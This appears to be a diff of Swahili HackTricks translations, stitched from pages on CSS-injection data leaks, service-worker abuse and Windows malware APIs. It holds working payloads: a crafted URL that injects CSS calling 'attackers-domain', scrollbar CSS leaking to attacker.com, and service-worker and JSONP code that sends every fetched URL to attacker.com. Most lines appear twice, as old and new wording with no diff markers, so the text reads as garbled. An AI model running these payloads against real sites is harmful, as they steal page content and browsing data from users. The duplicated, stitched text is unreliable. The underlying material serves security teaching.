Katika hali kama hizo, ikiwa maandishi "Msimamizi" yapo kwenye ukurasa, rasilimali `target.png` inaombwa kutoka kwenye seva, ikionyesha uwepo wa maandishi hayo. Kisa cha shambulio hili kinaweza kutekelezwa kupitia URL iliyoundwa kwa uangalifu ambayo inaingiza CSS iliyodungwa pamoja na kipande cha maandishi cha Scroll-to-text:
Katika hali kama hizo, ikiwa maandishi "Msimamizi" yapo kwenye ukurasa, rasilimali `target.png` inaombwa kutoka kwenye seva, ikionyesha uwepo wa maandishi hayo. Kisa cha shambulio hili kinaweza kutekelezwa kupitia URL iliyoundwa kwa uangalifu ambayo inaingiza CSS iliyodungwa pamoja na kipande cha maandishi ya Scroll-to-text:
```
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
```
Hapa, shambulio linabadilisha uingizaji wa HTML ili kuhamisha msimbo wa CSS, lengo likiwa ni maandishi maalum "Msimamizi" kupitia kipande cha Scroll-to-text (`#:~:text=Administrator`). Ikiwa maandishi yataonekana, rasilimali iliyoelekezwa itapakiwa, ikionyesha uwepo wake kwa mkaidi.
Hapa, shambulio linabadilisha uingizaji wa HTML ili kuhamisha msimbo wa CSS, lengo likiwa ni maandishi maalum "Msimamizi" kupitia kipande cha Scroll-to-text (`#:~:text=Administrator`). Ikiwa maandishi yamepatikana, rasilimali iliyoelekezwa hupakiwa, ikionyesha uwepo wake kwa bahati mbaya kwa muhusika.
Kwa kupunguza madhara, mambo yafuatayo yanapaswa kuzingatiwa:
1. **Ulinganishi wa STTF uliopunguzwa**: Kipande cha Scroll-to-text Fragment (STTF) kimeundwa kulinganisha tu maneno au sentensi, hivyo kupunguza uwezo wake wa kufichua siri au vitambulisho vya aina yoyote.
1. **Ulinganishi wa STTF uliopunguzwa**: Kipande cha Scroll-to-text Fragment (STTF) kimeundwa kulinganisha tu maneno au sentensi, hivyo kupunguza uwezo wake wa kufichua siri au vitambulisho vya kiholela.
2. **Kizuizi kwa Muktadha wa Kivinjari cha Juu**: STTF inafanya kazi tu katika muktadha wa juu wa kivinjari na haifanyi kazi ndani ya iframes, hivyo kufanya jaribio lolote la unyonyaji kuwa wazi zaidi kwa mtumiaji.
3. **Hitaji la Kuchochewa na Mtumiaji**: STTF inahitaji ishara ya kuchochewa na mtumiaji ili kufanya kazi, maana yake unyonyaji unawezekana tu kupitia urambazaji ulioanzishwa na mtumiaji. Mahitaji haya yanapunguza kwa kiasi kikubwa hatari ya mashambulizi kufanywa kiotomatiki bila ushirikiano wa mtumiaji. Hata hivyo, mwandishi wa chapisho la blogu anabainisha hali maalum na njia za kuepuka (k.m., uhandisi wa kijamii, mwingiliano na programu-jalizi maarufu za kivinjari) ambazo zinaweza kufanya unyonyaji kuwa rahisi.
3. **Hitaji la Kuchochea Mtumiaji**: STTF inahitaji ishara ya kuchochea mtumiaji ili kufanya kazi, maana yake unyonyaji ni wa kufanyika tu kupitia urambazaji ulioanzishwa na mtumiaji. Mahitaji haya yanapunguza kwa kiasi kikubwa hatari ya mashambulizi kufanywa kiotomatiki bila ushirikiano wa mtumiaji. Hata hivyo, mwandishi wa chapisho la blogu anabainisha hali maalum na njia za kuepuka (k.m., uhandisi wa kijamii, mwingiliano na programu-jalizi maarufu za kivinjari) ambazo zinaweza kufanya unyonyaji kuwa rahisi.
Kuelewa mifumo hii na mapungufu yanayowezekana ni muhimu kwa kudumisha usalama wa wavuti na kulinda dhidi ya mikakati ya unyonyaji kama hiyo.
Kuwa na ufahamu wa mifumo hii na mapungufu yanayowezekana ni muhimu kwa kudumisha usalama wa wavuti na kulinda dhidi ya mikakati ya unyonyaji kama hiyo.
Kwa maelezo zaidi angalia ripoti asili: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
Kwa maelezo zaidi angalia ripoti ya asili: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
Unaweza kuangalia [**kutumia mbinu hii kwa CTF hapa**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
Unaweza kuangalia [**unyonyaji ukitumia mbinu hii kwa CTF hapa**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
Unaweza kubainisha **fonti za nje kwa thamani maalum za unicode** ambazo zitakusanywa tu ikiwa thamani hizo za unicode zitakuwepo kwenye ukurasa. Kwa mfano:
Unaweza kubainisha **fonti za nje kwa thamani maalum za unicode** ambazo zitakusanywa tu **ikiwa thamani hizo za unicode zitapatikana** kwenye ukurasa. Kwa mfano:
```html
<style>
@font-face{
@ -232,7 +232,7 @@ Mbinu iliyoelezwa inahusisha kutoa maandishi kutoka kwa kipande kwa kutumia liga
- Fonti hizi kisha hubadilishwa kuwa muundo wa woff kwa kutumia fontforge.
2. **Ugunduzi wa Mabadiliko ya Upana**:
- CSS hutumiwa kuhakikisha kuwa maandishi hayajipindi (`white-space: nowrap`) na kubinafsisha mtindo wa scrollbar.
- CSS hutumiwa kuhakikisha kuwa maandishi hayapindi (`white-space: nowrap`) na kubinafsisha mtindo wa scrollbar.
- Kuonekana kwa scrollbar ya usawa, iliyopambwa kwa njia tofauti, hufanya kama kiashiria (oracle) kwamba ligature maalum, na hivyo mfululizo maalum wa wahusika, upo katika maandishi.
- CSS inayohusika:
```css
@ -241,27 +241,27 @@ mwili::-webkit-scrollbar { background: blue; }
mwili::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
```
3. **Mchakato wa Kutumia Udukuzi**:
3. **Mchakato wa Udukuzi**:
- **Hatua 1**: Fonti zinaundwa kwa jozi za wahusika wenye upana mkubwa.
- **Hatua 2**: Mbinu ya kudanganya kwa kutumia scrollbar hutumiwa kugundua wakati glyph yenye upana mkubwa (ligature kwa jozi ya wahusika) inapotolewa, ikionyesha uwepo wa mfululizo wa wahusika.
- **Hatua 3**: Baada ya kugundua ligature, glyphs mpya zinazoonyesha mfululizo wa wahusika watatu zinaundwa, zikiingiza jozi iliyogunduliwa na kuongeza wahusika kabla au baada yake.
- **Hatua 2**: Mbinu ya kudanganya kwa kutumia scrollbar hutumiwa kugundua wakati glyph yenye upana mkubwa (ligature kwa jozi ya wahusika) inapojengwa, ikionyesha uwepo wa mfululizo wa wahusika.
- **Hatua 3**: Baada ya kugundua ligature, glyphs mpya zinazoonyesha mfululizo wa wahusika watatu zinaundwa, zikiingiza jozi iliyogunduliwa na kuongeza wahusika wa awali au wafuatao.
- **Hatua 4**: Ugunduzi wa ligature ya wahusika watatu unafanywa.
- **Hatua 5**: Mchakato unarudia, ukifunua taratibu maandishi yote.
4. **Uboreshaji**:
- Mbinu ya sasa ya kuanzisha kutumia `<meta refresh=...` sio bora.
- Njia yenye ufanisi zaidi inaweza kuhusisha mbinu ya CSS ya `@import`, ikiboresha utendaji wa udukuzi.
- Njia bora zaidi inaweza kuhusisha mbinu ya CSS ya `@import`, ikiboresha utendaji wa udukuzi.
### Udukuzi wa kipande cha maandishi (II): kuvuja kwa charset na fonti ya chaguo-msingi (bila kuhitaji mali za nje) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Kumbukumbu:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
Mbinu hii ilizinduliwa katika [**mjadala wa Slackers**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with_single\_css\_injection/). Charset inayotumiwa katika kipande cha maandishi inaweza kuvuja **kwa kutumia fonti za chaguo-msingi** zilizowekwa kwenye kivinjari: hakuna fonti za nje -au za kibinafsi- zinazohitajika.
Mbinu hii ilizinduliwa katika [**Mjadala wa Slackers**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with_single\_css\_injection/). Charset inayotumiwa katika kipande cha maandishi inaweza kuvuja **kwa kutumia fonti za chaguo-msingi** zilizowekwa kwenye kivinjari: hakuna fonti za nje -au za kibinafsi- zinazohitajika.
Mbinu hii inahusisha kutumia uhuishaji kuongeza kwa hatua kwa hatua upana wa `div`, kuruhusu wahusika mmoja kwa wakati kusonga kutoka sehemu ya 'suffix' ya maandishi kwenda sehemu ya 'prefix'. Mchakato huu unagawa kwa ufanisi maandishi katika sehemu mbili:
Mbinu hii inahusisha kutumia uhuishaji kuongeza taratibu upana wa `div`, kuruhusu wahusika mmoja baada ya mwingine kusonga kutoka sehemu ya 'suffix' ya maandishi kwenda sehemu ya 'prefix'. Mchakato huu unagawa kwa ufanisi maandishi katika sehemu mbili:
1. **Prefix**: Mstari wa awali.
2. **Suffix**: Mstari wa baadaye.
1. **Awali**: Mstari wa kwanza.
2. **Suffix**: Mstari/mistari inayofuata.
Hatua za mpito za wahusika zitaonekana kama ifuatavyo:
@ -276,13 +276,13 @@ B
**CADB**
Wakati wa mpito huu, **mtego wa unicode-range** unatumika kutambua kila wahusika mpya wanapojiunga na prefix. Hii inafanikishwa kwa kubadilisha fonti kuwa Comic Sans, ambayo ni refu kuliko fonti ya chaguo-msingi, hivyo kusababisha scrollbar ya wima. Kuonekana kwa scrollbar hii kunafunua kwa njia isiyo ya moja kwa moja uwepo wa wahusika wapya katika prefix.
Wakati wa mpito huu, **mtego wa unicode-range** unatumika kutambua kila wahusika mpya wanapojiunga na awali. Hii inafanikishwa kwa kubadilisha fonti kuwa Comic Sans, ambayo ni refu kuliko fonti ya chaguo-msingi, hivyo kusababisha scrollbar ya wima. Kuonekana kwa scrollbar hii kunafunua kwa njia isiyo ya moja kwa moja uwepo wa wahusika wapya katika awali.
Ingawa mbinu hii inaruhusu ugunduzi wa wahusika wa kipekee wanapoonekana, haifafanui ni wahusika gani wanarudiwa, tu kwamba kurudi kumetokea.
Ingawa mbinu hii inaruhusu ugunduzi wa wahusika wa kipekee wanapoonekana, haifafanui ni wahusika gani wanaorudiwa, tu kwamba kurudi kumetokea.
{% hint style="info" %}
Kimsingi, **unicode-range hutumiwa kutambua wahusika**, lakini kwa kuwa hatutaki kupakia fonti za nje, tunahitaji kupata njia nyingine.\
Wakati **wahusika** unapopatikana, unapewa **fonti ya Comic Sans iliyowekwa tayari**, ambayo **inafanya** wahusika **kuwa wakubwa** na **kuzindua scrollbar** ambayo ita**vujisha wahusika uliopatikana**.
Wakati **wahusika** unapopatikana, unapewa **fonti ya Comic Sans iliyowekwa tayari**, ambayo **inafanya** wahusika **kuwa wakubwa** na **kuzindua scrollbar** ambayo ita**vujisha wahusika waliopatikana**.
{% endhint %}
Angalia nambari iliyochimbuliwa kutoka kwa PoC:
@ -411,9 +411,9 @@ div::-webkit-scrollbar:vertical {
background: bluu var(--leak);
}
```
### Uvujaji wa kipengele cha maandishi (III): kuvuja kwa seti ya herufi kwa kutumia muda wa cache (bila kuhitaji mali za nje) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Kuvuja kwa nodi ya maandishi (III): kuvuja kwa seti ya herufi kwa kutumia muda wa cache (bila kuhitaji mali za nje) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Marejeleo:** Hii inatajwa kama [suluhisho lisilofanikiwa katika andiko hili](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**Kumbukumbu:** Hii inatajwa kama [suluhisho lisilofanikiwa katika andiko hili](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Katika kesi hii, tunaweza kujaribu kuvuja ikiwa herufi iko katika maandishi kwa kupakia font bandia kutoka asili ile ile:
```css
@ -423,15 +423,15 @@ src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
```
If there is a match, the **font will be loaded from `/static/bootstrap.min.css?q=1`**. Ingawa haitapakia kwa mafanikio, **kivinjari kinapaswa kukisakinisha**, na hata kama hakuna cache, kuna **makanismo ya 304 not modified**, hivyo **jibu linapaswa kuwa haraka** kuliko mambo mengine.
If there is a match, the **font will be loaded from `/static/bootstrap.min.css?q=1`**. Ingawa haitapakia kwa mafanikio, **kivinjari kinapaswa kukishea**, na hata kama hakuna cache, kuna **muhimu wa 304 isiyobadilishwa**, hivyo **jibu linapaswa kuwa haraka** kuliko mambo mengine.
Hata hivyo, ikiwa tofauti ya wakati wa jibu lililosakinishwa na lile lisilosakinishwa si kubwa vya kutosha, hii haitakuwa na manufaa. Kwa mfano, mwandishi alitaja: Walakini, baada ya majaribio, niligundua kuwa tatizo la kwanza ni kwamba kasi si tofauti sana, na tatizo la pili ni kwamba boti hutumia bendera ya `disk-cache-size=1`, ambayo ni ya kufikiria kweli.
Hata hivyo, ikiwa tofauti ya wakati wa jibu lililohifadhiwa na lile lisililohifadhiwa si kubwa vya kutosha, hii haitakuwa na manufaa. Kwa mfano, mwandishi alitaja: Hata hivyo, baada ya majaribio, niligundua kuwa tatizo la kwanza ni kwamba kasi si tofauti sana, na tatizo la pili ni kwamba boti hutumia bendera ya `disk-cache-size=1`, ambayo ni ya kufikiria kweli.
### Udukuzi wa kifungu cha maandishi (III): kuvuja kwa seti ya herufi kwa kupima kupakia mamia ya "fonti" za ndani (bila kuhitaji mali za nje) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Uchimbaji wa nodi ya maandishi (III): kuvuja kwa seti ya herufi kwa kupima kupakia mamia ya "fonti" za ndani (bila kuhitaji mali za nje) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Marejeo:** Hii imeelezwa kama [suluhisho lisilofanikiwa katika andiko hili](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Katika kesi hii unaweza kuashiria **CSS kupakia mamia ya fonti bandia** kutoka asili ile ile wakati kuna mechi inatokea. Kwa njia hii unaweza **kupima muda** unaochukua na kugundua ikiwa herufi inaonekana au la kwa kitu kama:
Katika kesi hii unaweza kuonyesha **CSS kupakia mamia ya fonti bandia** kutoka asili ile ile wakati kuna mechi. Kwa njia hii unaweza **kupima muda** unachukua na kugundua ikiwa herufi inaonekana au la na kitu kama hicho:
```css
@font-face {
font-family: "A1";
@ -448,7 +448,7 @@ browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
```
Ikiwa herufi hazilingani, wakati wa majibu unapotembelea bot inatarajiwa kuwa takriban sekunde 30. Hata hivyo, ikiwa kuna kulinganisha herufi, maombi mengi yatapelekwa kuchukua herufi, kusababisha mtandao kuwa na shughuli endelevu. Kama matokeo, itachukua muda mrefu kutimiza hali ya kusimamisha na kupokea majibu. Kwa hivyo, muda wa majibu unaweza kutumika kama kiashiria cha kubaini ikiwa kuna kulinganisha herufi.
Kwa hivyo, ikiwa herufi hazifanani, wakati wa kujibu unapotembelea bot inatarajiwa kuwa takriban sekunde 30. Walakini, ikiwa kuna mechi ya herufi, maombi mengi yatapelekwa kuchukua herufi, ikisababisha mtandao kuwa na shughuli endelevu. Kama matokeo, itachukua muda mrefu kutimiza hali ya kusimamisha na kupokea jibu. Kwa hivyo, muda wa kujibu unaweza kutumika kama kiashiria cha kubaini ikiwa kuna mechi ya herufi.
## Marejeo
@ -459,7 +459,7 @@ Ikiwa herufi hazilingani, wakati wa majibu unapotembelea bot inatarajiwa kuwa ta
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}

View file

@ -4,17 +4,17 @@
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionekana kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionyeshwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Kikundi cha Usalama cha Kujitahidi**
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -22,15 +22,15 @@
## Taarifa Msingi
**Mfanyakazi wa huduma** ni skripti inayotekelezwa na kivinjari chako nyuma, tofauti na ukurasa wowote wa wavuti, ikiruhusu vipengele visivyohitaji ukurasa wa wavuti au ushirikiano wa mtumiaji, hivyo kuboresha uwezo wa **kuprocessi nje ya mtandao na nyuma**. Taarifa kamili kuhusu wafanyakazi wa huduma inaweza kupatikana [hapa](https://developers.google.com/web/fundamentals/primers/service-workers). Kwa kudukua wafanyakazi wa huduma ndani ya kikoa dhaifu cha wavuti, wadukuzi wanaweza kupata udhibiti juu ya mwingiliano wa mwathiriwa na kurasa zote ndani ya kikoa hicho.
**Mfanyakazi wa huduma** ni skripti inayotekelezwa na kivinjari chako nyuma, tofauti na ukurasa wowote wa wavuti, ikiruhusu vipengele visivyohitaji ukurasa wa wavuti au mwingiliano wa mtumiaji, hivyo kuimarisha uwezo wa **kufanya kazi nje ya mtandao na nyuma ya pazia**. Maelezo kamili kuhusu wafanyakazi wa huduma yanaweza kupatikana [hapa](https://developers.google.com/web/fundamentals/primers/service-workers). Kwa kudukua wafanyakazi wa huduma ndani ya kikoa dhaifu cha wavuti, wadukuzi wanaweza kupata udhibiti juu ya mwingiliano wa mwathiriwa na kurasa zote ndani ya kikoa hicho.
### Kuangalia Wafanyakazi wa Huduma Waliopo
### Kuangalia Wafanyakazi wa Huduma Zilizopo
Wafanyakazi wa huduma waliopo wanaweza kuangaliwa katika sehemu ya **Wafanyakazi wa Huduma** ya kichupo cha **Maombi** katika **Zana za Mwandishi**. Njia nyingine ni kutembelea [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) kwa mtazamo wa kina zaidi.
Wafanyakazi wa huduma zilizopo wanaweza kuangaliwa katika sehemu ya **Wafanyakazi wa Huduma** ya kichupo cha **Maombi** katika **Zana za Mwandishi**. Njia nyingine ni kutembelea [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) kwa mtazamo wa kina zaidi.
### Arifa za Kupiga
**Ruhusa za arifa za kupiga** zinaathiri moja kwa moja uwezo wa **mfanyakazi wa huduma** kuwasiliana na seva bila ushirikiano wa moja kwa moja wa mtumiaji. Ikiwa ruhusa zimekataliwa, inapunguza uwezo wa mfanyakazi wa huduma kuwa tishio endelevu. Kinyume chake, kutoa ruhusa kunaweza kuongeza hatari za usalama kwa kuruhusu kupokea na kutekeleza mbinu za udukuzi.
**Ruhusa za arifa za kupiga** zinaathiri moja kwa moja uwezo wa **mfanyakazi wa huduma** kuwasiliana na seva bila mwingiliano moja kwa moja wa mtumiaji. Ikiwa ruhusa zimekataliwa, inapunguza uwezo wa mfanyakazi wa huduma kuwa tishio endelevu. Kinyume chake, kutoa ruhusa kunazidisha hatari za usalama kwa kuruhusu kupokea na kutekeleza udanganyifu wa uwezekano.
## Shambulio la Kuunda Mfanyakazi wa Huduma
@ -39,7 +39,7 @@ Ili kutumia udhaifu huu unahitaji kupata:
* Njia ya **kupakia faili za JS za kupendelea** kwenye seva na **XSS ya kupakia mfanyakazi wa huduma** wa faili ya JS iliyopakiwa
* **Ombi dhaifu la JSONP** ambapo unaweza **kudhibiti matokeo (na msimbo wa JS wa kupendelea)** na **XSS** ya **kupakia JSONP na mzigo** ambao uta **paki mfanyakazi wa huduma mbaya**.
Katika mfano ufuatao nitawasilisha msimbo wa **kujiandikisha mfanyakazi wa huduma mpya** ambao utasikiliza tukio la `fetch` na **kutuma kwenye seva ya wadukuzi kila URL iliyopakiwa** (hii ni msimbo utakaohitaji **kupakia** kwenye **seva** au kupakia kupitia **jibu dhaifu la JSONP**):
Katika mfano ufuatao nitawasilisha msimbo wa **kujiandikisha mfanyakazi wa huduma mpya** ambao utasikiliza tukio la `fetch` na **kutuma kwenye seva ya wadukuzi kila URL iliyopakiwa** (hii ni msimbo utakaohitaji **kupakia** kwenye **seva** au kupakia kupitia jibu la **JSONP dhaifu**):
```javascript
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
@ -68,13 +68,13 @@ Katika kesi ya kutumia mwisho wa JSONP unaoweza kudhuriwa unapaswa kuweka thaman
```javascript
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
```
Kuna **C2** iliyotengwa kwa **utumiaji wa Wafanyikazi wa Huduma** inayoitwa [**Shadow Workers**](https://shadow-workers.github.io) ambayo itakuwa na manufaa sana kwa kutumia udhaifu huu.
Kuna **C2** iliyotengwa kwa **utumiaji wa Wafanyikazi wa Huduma** inaitwa [**Wafanyikazi wa Kivuli**](https://shadow-workers.github.io) ambayo itakuwa muhimu sana kwa kutumia udhaifu huu.
**Mwongozo wa kache wa saa 24** unapunguza maisha ya **wafanyikazi wa huduma (SW)** wenye nia mbaya au walioathiriwa hadi masaa 24 baada ya kurekebisha udhaifu wa XSS, ikizingatiwa hali ya mteja mtandaoni. Ili kupunguza udhaifu, waendeshaji wa tovuti wanaweza kupunguza Muda wa Kuishi wa Skripti ya SW (TTL). Waendelezaji pia wanashauriwa kuunda [**kitufe cha kuzima wafanyikazi wa huduma**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) kwa kuzima haraka.
**Mwongozo wa cache wa masaa 24** unapunguza maisha ya **wafanyikazi wa huduma (SW)** wenye nia mbaya au walioathiriwa hadi masaa 24 baada ya kurekebisha udhaifu wa XSS, ikizingatiwa hali ya mteja mtandaoni. Ili kupunguza udhaifu, waendeshaji wa tovuti wanaweza kupunguza Muda wa Kuishi wa Script ya SW (TTL). Waendelezaji pia wanashauriwa kuunda [**kitufe cha kuzima wafanyikazi wa huduma**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) kwa kuzima haraka.
## Kutumia `importScripts` katika SW kupitia DOM Clobbering
Kazi ya **`importScripts`** iliyoitwa kutoka kwa Wafanyikazi wa Huduma inaweza **kuagiza skripti kutoka kwa kikoa tofauti**. Ikiwa kazi hii inaitwa kutumia **parameta ambayo mshambuliaji anaweza** kuhariri angekuwa na uwezo wa **kuagiza skripti ya JS kutoka kwa kikoa chake** na kupata XSS.
Kazi ya **`importScripts`** iliyoitwa kutoka kwa Wafanyikazi wa Huduma inaweza **kuagiza script kutoka kwenye kikoa tofauti**. Ikiwa kazi hii inaitwa kutumia **parameter ambayo muhusika anaweza** kuhariri, angekuwa na uwezo wa **kuagiza script ya JS kutoka kwenye kikoa chake** na kupata XSS.
**Hii hata inapita kinga za CSP.**
@ -112,7 +112,7 @@ Kwa mfano wa hili angalia kiungo cha marejeo.
**Kikundi cha Usalama cha Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -124,6 +124,6 @@ Kwa mfano wa hili angalia kiungo cha marejeo.
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,4 +1,4 @@
# API Kawaida Zinazotumiwa katika Programu Hasidi
# API Kwa Kawaida Hutumiwa katika Programu Hasidi
<details>
@ -6,46 +6,46 @@
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
**Kikundi cha Usalama cha Kujitahidi Kwa Bidii**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Kijumla
## Kawaida
### Mtandao
### Uunganishaji
| Sockets za Raw | Sockets za WinAPI |
| -------------- | ----------------- |
| socket() | WSAStratup() |
| bind() | bind() |
| listen() | listen() |
| accept() | accept() |
| connect() | connect() |
| read()/recv() | recv() |
| write() | send() |
| shutdown() | WSACleanup() |
| Sockets za Moja kwa Moja | Sockets za WinAPI |
| ------------------------ | ------------------ |
| socket() | WSAStratup() |
| bind() | bind() |
| listen() | listen() |
| accept() | accept() |
| connect() | connect() |
| read()/recv() | recv() |
| write() | send() |
| shutdown() | WSACleanup() |
### Uthabiti
| Usajili | Faili | Huduma |
| --------------- | -------------- | --------------------------- |
| RegCreateKeyEx() | GetTempPath() | OpenSCManager |
| RegOpenKeyEx() | CopyFile() | CreateService() |
